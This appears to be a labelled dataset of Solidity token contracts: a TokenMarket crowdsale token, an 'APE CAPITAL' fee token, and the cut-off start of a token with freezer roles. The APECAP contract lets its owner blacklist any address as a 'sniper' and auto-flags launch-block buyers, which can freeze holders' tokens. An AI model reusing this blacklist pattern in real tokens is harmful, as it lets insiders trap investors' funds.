return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Upgrade agent interface inspired by Lunyr.
*
* Upgrade agent transfers tokens to a new contract.
* Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting.
*/
contract UpgradeAgent {
uint public originalSupply;
/** Interface marker */
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
/**
* A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision.
*
* First envisioned by Golem and Lunyr projects.
*/
contract UpgradeableToken is StandardToken {
/** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */
address public upgradeMaster;
/** The next contract where the tokens will be migrated. */
UpgradeAgent public upgradeAgent;
/** How many tokens we have upgraded by now. */
uint256 public totalUpgraded;
/**
* Upgrade states.
*
* - NotAllowed: The child contract has not reached a condition where the upgrade can bgun
* - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet
* - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet
* - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens
*
*/
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
/**
* Somebody has upgraded some of his tokens.
*/
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
/**
* New upgrade agent available.
*/
event UpgradeAgentSet(address agent);
/**
* Do not allow construction without upgrade master set.
*/
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
/**
* Allow the token holder to upgrade some of their tokens to a new contract.
*/
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
/**
* Set an upgrade agent that handles
*/
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
/**
* Get the state of the token upgrade.
*/
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
/**
* Change the upgrade master.
*
* This allows us to set a new owner for the upgrade mechanism.
*/
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
/**
* Child contract can enable to provide the condition when the upgrade can begun.
*/
function canUpgrade() public constant returns(bool) {
return true;
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Define interface for releasing the token transfer after a successful crowdsale.
*/
contract ReleasableToken is ERC20, Ownable {
/* The finalizer contract that allows unlift the transfer limits on this token */
address public releaseAgent;
/** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/
bool public released = false;
/** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */
mapping (address => bool) public transferAgents;
/**
* Limit token transfer until the crowdsale is over.
*
*/
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
/**
* Set the contract that can call release and make the token transferable.
*
* Design choice. Allow reset the release agent to fix fat finger mistakes.
*/
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
// We don't do interface check here as we might want to a normal wallet address to act as a release agent
releaseAgent = addr;
}
/**
* Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period.
*/
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
/**
* One way function to release the tokens to the wild.
*
* Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached).
*/
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
/** The function can be called only before or after the tokens have been releasesd */
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
/** The function can be called only by a whitelisted release agent. */
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net
*
* Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt
*/
/**
* Safe unsigned safe math.
*
* https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli
*
* Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol
*
* Maintained here until merged to mainline zeppelin-solidity.
*
*/
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
/**
* A token that can increase its supply by another contract.
*
* This allows uncapped crowdsale by dynamically increasing the supply when money pours in.
* Only mint agents, contracts whitelisted by owner, can mint new tokens.
*
*/
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
/** List of agents that are allowed to create new tokens */
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
/** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals.
* For example, for reserved tokens in percents 2.54%
* inPercentageUnit = 254
* inPercentageDecimals = 2
*/
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
// Only crowdsale contracts are allowed to mint new tokens
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
/** Make sure we are not done yet. */
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
/**
* Create new tokens and allocate them to an address..
*
* Only callably by a crowdsale contract (mint agent).
*/
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
// This will make the mint transaction apper in EtherScan.io
// We can remove this after there is a standardized minting event
Transfer(0, receiver, amount);
}
/**
* Owner can allow a crowdsale contract to mint new tokens.
*/
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
/**
* A crowdsaled token.
*
* An ERC-20 token designed specifically for crowdsales with investor protection and further development path.
*
* - The token transfer() is disabled until the crowdsale is over
* - The token contract gives an opt-in upgrade path to a new contract
* - The same token can be part of several crowdsales through approve() mechanism
* - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens)
*
*/
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken {
/** Name and symbol were updated. */
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public symbol;
uint public decimals;
/* Minimum ammount of tokens every buyer can buy. */
uint public minCap;
/**
* Construct the token.
*
* This token must be created through a team multisig wallet, so that it is owned by that wallet.
*
* @param _name Token name
* @param _symbol Token symbol - should be all caps
* @param _initialSupply How many tokens we start with
* @param _decimals Number of decimal places
* @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends.
*/
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
// Create any address, can be transferred
// to team multisig via changeOwner(),
// also remember to call setUpgradeMaster()
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
// Create initially all balance on the team multisig
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
// No more new supply allowed after the token creation
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw; // Cannot create a token without supply and no minting
}
}
}
/**
* When token is released to be transferable, enforce no new tokens can be created.
*/
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
/**
* Allow upgrade agent functionality kick in only if the crowdsale was success.
*/
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
/**
* Owner can update token information here.
*
* It is often useful to conceal the actual token association, until
* the token operations, like central issuance or reissuance have been completed.
*
* This function allows the token owner to rename the token after the operations
* have been completed and then point the audience to use the token contract.
*/
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
/**
* Claim tokens that were accidentally sent to this contract.
*
* @param _token The address of the token contract that you want to recover.
*/
function claimTokens(address _token) public onlyOwner {
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: Unlicensed
//TG: @apecap
//WEBSITE: apecapital.digital
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract APECAP is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "APE CAPITAL";
string private constant _symbol = "APECAP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 15;
uint256 private _totalRefOnBuy = 0;
uint256 private _totalTaxOnSell = 10;
uint256 private _totalRefOnSell = 0;
uint256 private _totalSellTax = 15;
uint256 private _redisFee = _totalRefOnSell;
uint256 private _taxFee = _totalSellTax;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD1e7DAdaAbd0BD853A260c62898cD0B73E469F12);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 4 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e7 * 10**9;
uint256 public _maxWalletSize = 2e7 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 2e7 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createNewPair() external onlyOwner{
require(!tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 10 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _totalRefOnBuy;
_taxFee = _totalTaxOnSell;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _totalRefOnSell;
_taxFee = _totalSellTax;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require( amountBuy <= 13);
require( amountSell <= 15);
_totalTaxOnSell = amountBuy;
_totalSellTax = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_totalRefOnBuy = amountRefBuy;
_totalRefOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
} | True | [
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] |
pragma solidity ^0.4.24;
/* _____ ______ ________
* / | / \ / |
* $$$$$ | /$$$$$$ | $$$$$$$$/
* $$ | $$ | $$/ $$ |
* __ $$ | $$ | $$ |
* / | $$ | $$ | __ $$ |
* $$ \__$$ | $$ \__/ | $$ |
* $$ $$/ $$ $$/ $$ |
* $$$$$$/ $$$$$$/ $$/
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public collector;
address public distributor;
address public freezer;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event CollectorshipTransferred(address indexed previousCollector, address indexed newCollector);
event DistributorshipTransferred(address indexed previousDistributor, address indexed newDistributor);
event FreezershipTransferred(address indexed previousFreezer, address indexed newFreezer);
/**
* @dev The Ownable constructor sets the original `owner`, `collector`, `distributor` and `freezer` of the contract to the
* sender account.
*/
constructor() public {
owner = msg.sender;
collector = msg.sender;
distributor = msg.sender;
freezer = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the collector.
*/
modifier onlyCollector() {
require(msg.sender == collector);
_;
}
/**
* @dev Throws if called by any account other than the distributor.
*/
modifier onlyDistributor() {
require(msg.sender == distributor);
_;
}
/**
* @dev Throws if called by any account other than the freezer.
*/
modifier onlyFreezer() {
require(msg.sender == freezer);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(isNonZeroAccount(newOwner));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current collector to transfer control of the contract to a newCollector.
* @param newCollector The address to transfer collectorship to.
*/
function transferCollectorship(address newCollector) onlyOwner public {
require(isNonZeroAccount(newCollector));
emit CollectorshipTransferred(collector, newCollector);
collector = newCollector;
}
/**
